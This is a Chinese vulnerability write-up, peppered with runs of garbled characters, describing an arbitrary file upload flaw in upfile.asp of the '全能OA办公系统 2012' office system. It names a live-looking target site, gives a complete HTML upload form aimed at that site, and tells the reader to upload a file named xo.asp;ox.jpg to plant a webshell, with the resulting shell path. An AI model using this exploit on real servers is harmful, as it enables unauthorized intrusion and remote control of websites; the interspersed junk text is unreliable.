全能OA办公系统 上传漏洞
' H1 j3 K$ m: j0 H% ^- C k
; i) [! E- Q9 d$ ~" @+ X4 m0 o4 {系统介绍:* d+ |7 S/ l# r
) J' d+ Z; N7 @/ y1 h" A7 d
全能OA办公系统2012是功能非常强大的OA系统,目前功能已完全能满足日常办公需要。+ D$ e, l' [ b0 j; U L) p
; a: s+ G" b+ ]( T主要功能:
6 ?$ z9 J* f" ^* r" y公司通告 . Y! t* ~3 Y- m- w( e( A
工作计划 ! r' n' a2 D9 a" e6 j
通讯助理 - W) x$ n5 t, J* w; `8 d$ W
客户资源
+ f1 J& k$ e5 \. d7 A我的公文 : V8 ^: |' `; Y: O8 u8 `8 U
公文传阅
: N/ k# b# X3 d, D1 H公共资源 1 m7 T1 H! P5 j, e
资源预约 , @6 V4 r' m6 D0 G; V5 t
今日考勤 9 k8 w+ ]) ?3 V0 J- G
个人计划 1 b9 p# }) D. o, E& i: e4 S5 x
个人通讯录
r" C- n& O( m/ u3 @! o* v% d- M; a个人基本档案
- u. ^- |; z! U/ C: D: _未读邮件
6 Q0 k2 D5 D% ?% N: `6 F发邮件 + J3 P) f( K( G( @& \
收件夹 5 u( F; u6 s8 U/ A
寄件夹
$ F9 R; a3 q9 u3 M& B. W n网络硬盘
' x3 b" |7 T) x& f网络会议 : ~, ]" w3 ]( ?3 w* A0 W
网络调查
l! a7 M+ S+ q6 N9 J' V# E) o交流论坛
. m) q; @) x7 Y1 z2 v
; ^; A9 `- w0 B/ N7 I" ~& K: K有兴趣测试的朋友可以下源码看看 ^( R! C" g, r% U" G* `* L/ T5 ^* E
/ V, z- t3 K; o7 ^. H$ n, j: [; X' B源码下载:" q' k& w; k8 H! v( k d
( r7 N% a& ~6 k9 B# E& E
http://www.mycodes.net/30/4750.htm
2 d3 B: ?; _; ?+ ]6 x; I; t* o* Q ^, l+ j" d. ]2 C) p3 z
漏洞介绍:
( e+ S. R# f9 l
( n3 o8 T7 W: d9 N由upfile.asp上传文件漏洞引起7 D" N6 r, \7 _0 t6 }
4 J2 s0 c% Y9 N3 X7 V: v
测试方法:: ` K" y% T, s, q- Z
3 l2 G( Q& R" x, H' e6 h使用名小子上传http://www.itlynn.com/upfile.asp即可
+ c& M ?/ w# F' m7 D, X' P' @# h# u* }8 L2 T" }1 {! U, A# h% R: x
如果upfile.asp文件被删除不存在。
* S, `, N% U7 e, i- R T1 Q
/ E0 `/ A8 z6 K( G3 p3 H5 ~ 那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。- L+ ^ U) r1 }) A
. A: w8 i) Y# y3 {1 z( v
如果存在那么将如下代码保存为upfile.html。
& M: |6 {4 H5 ]! ?! R' F
1 m/ u1 q# ^; y# h% n. u, S然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
0 b E2 l% [9 t; ^) ^( h. k7 ~6 e7 x2 B6 ]+ H* _, d
0 z! s; F7 a( d
/ i* R Z) c" F; R% u01 <table border='0' align="center" cellpadding="5"> * G# \9 L& [* H$ O$ i! J9 Y9 P
# j* F- S. d% w2 k1 E# m+ C* d1 P2 T
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1"> 9 l5 o& Z- k; p
1 i3 I5 I: E. ~03 <tr>
$ i7 y/ q y p
7 A8 x1 l! w! {. b04 <td>报错:</td> 0 ~5 M# X5 c- f+ U
; K0 @ k0 g% `6 f2 p0 L: ?
05 <td><input type='radio' name='errnumber' value='0'> w. Q, P7 V2 O- Z# P
' f4 \! h2 I/ L5 m! X& U& r$ H: q06 自动更名 . k# I5 x. _$ T& m2 V
. d# g* U/ n/ K8 p0 X' T07 <input type='radio' name='errnumber' value='1' checked> ; x, M; z; Q1 |; f& O
) q0 K: F B+ ?0 e) r7 c/ J0 R- E# X08 报错方式
) ]2 B7 g+ w# Q' w/ s8 O! ]
) R/ j7 R+ C3 Z/ Q% E09 <input type='radio' name='errnumber' value='2'>
6 G1 k9 h! B0 Z! Z" l
. p! Y! ?+ H! _4 E) V10 直接覆盖</td>
- ~( S& x' R+ ^# C7 B5 h1 O2 _- e
/ z- B( R* ]& |, G% a11 </tr>
9 i& C& @/ w/ \ e1 B# S5 C$ d* e) G0 m2 ?0 ^4 k3 ?0 x
12 <tr>
) p3 b, }) h5 x! h4 @; |% q b* Z, O% t6 |( Z. E+ E
13 <td>主题:</td> 8 ? I6 A0 z' ~1 e
/ B& l/ {) s$ ?: o: C% \- z14 <td><input type='text' name='filename' size='30'></td>
. }, e A6 P1 e$ v# m' T. f* C. P1 s; H6 {, m& K
15 </tr> 0 E' o4 d3 L4 O5 ~; A) M% u$ ~
2 e% I' A; I/ b# f, [9 z1 w% n, ?16 <tr>
r j- M& k+ X5 A
' l$ e7 N4 W: Q% w17 <td>文件:</td>
' _- |7 j/ L2 ], ~0 v; p1 K( f, _7 c1 Q* e& g+ a% s' W4 B
18 <td><input type="file"name="fruit"size="30"></td> . T" K" l C7 z3 k6 Q
d$ h& N4 q: t$ h2 p
19 </tr>
6 x0 V1 F6 Q! V5 o4 \9 A2 p, P
5 d5 J0 \& v% Y7 e+ \( i8 h$ a: }20 <tr> . |/ y' q2 z6 j
0 c) a) B; g( _: Z; r3 I2 [9 w
21 <td valign='top'>简介:</td>
$ T- |% r; d# P( W! R' }" W2 T/ ^9 N7 c* z+ C+ G+ |
22 <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
9 L1 S }: a6 f8 ?- e# \
1 o/ M1 ^$ m, ]' c+ ?23 </tr> 9 B: ^4 G, n/ ^- j$ ?* U
. p H7 D! A. I9 _9 m' o7 A24
% c7 n; Y5 q8 ]9 B9 _8 j/ Z! d# Z$ X
! A; Z& b- d/ Y' h3 l' S25 <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
* U1 i2 j: B" s4 {3 i8 S7 o$ @ `% ^7 X( ^+ o
26 </tr>
& Q4 L6 B ?; J- b8 E
# Q- y; \$ b% |; S; K! \27 </form>
V8 H a n) D {7 w3 Q# \% U- \% n3 s u* s# a) N/ ~
然后打开上传一个文件名为xo.asp;ox.jpg的文件。 G/ g2 j, M- b( U
4 `8 ^& Y/ k# ^! `, g3 b# p- Y1 ]
. A1 H6 Q3 E( ~- N) }( u5 q O
8 n9 j3 O- ~8 } Z) T7 u上传成功后,马的路径是:http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
: ~7 C. Y% w# N6 {' F; x
$ G+ d6 p) j; e6 b/ c$ c此漏洞需要配合解析漏洞利用。 \' ^- |8 ^, C2 r2 A) I5 ~1 O) s4 _
# ^3 P: e1 d* P3 y) J |